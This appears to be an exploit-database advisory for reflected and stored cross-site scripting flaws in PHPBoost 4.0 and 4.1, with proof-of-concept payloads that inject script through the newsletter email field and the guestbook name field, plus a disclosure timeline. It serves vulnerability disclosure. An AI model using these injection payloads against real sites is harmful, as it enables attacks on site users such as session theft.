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PHPBoost 4.0 & 4.1 - XSS Reflected Vulnerability

🗓️ 11 Oct 2015 00:00:00Reported by ZwXType 
zdt
 zdt
🔗 0day.today👁 26 Views

PHPBoost 4.0 & 4.1 - XSS vulnerabilities in newsletter and guestbook forms. Vulnerability discovered and fixed

Code
#===================================#
# Title : PHPBoost 4.0 & 4.1 - XSS Reflected Vulnerability
# Author : ZwX
# Date : 04/02/2015
# Vendor : http://www.phpboost.com/
# Tested on : Windows 7
#===================================#

# Description #

an XSS Reflected vulnerability was detected  in the newsletter form


# Proof Of Concept #

<div id="newsletter">
<form action="http://127.0.01/projects/phpboost/newsletter/?url=/subscribe/" method="post">
<div class="newsletter-form input-element-button">
<span class="newsletter-title">Newsletter</span> 
<input type="text" name="mail_newsletter" maxlength="50" value="'"/><body onLoad="alert('xss');" placeholder="Email">
<input type="hidden" name="subscribe" value="subscribe">
<button type="submit" class="newsletter-submit"><i class="fa fa-envelope-o"></i></button>
</div></form>
</div>

# Description #

an XSS Stored vulnerability was detected  in the guestbook

<svg onload=alert('XSS')>

# Proof Of Concept # 

<div class="form-field">
<input type="text" size="30" maxlength="25" name="GuestbookFormController_pseudo" id="GuestbookFormController_pseudo" value="<svg onload=alert('XSS')>" class="" />
</div>

# followed discovery #

04/02/2015 - vulnerability discovery
04/02/2015 - get in contacted with the programmer
08/02/2015 - Bug Fixed


# Solution #

Udapte newsletter

#  0day.today [2018-03-19]  #

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11 Oct 2015 00:00Current
7.1High risk
Vulners AI Score7.1
26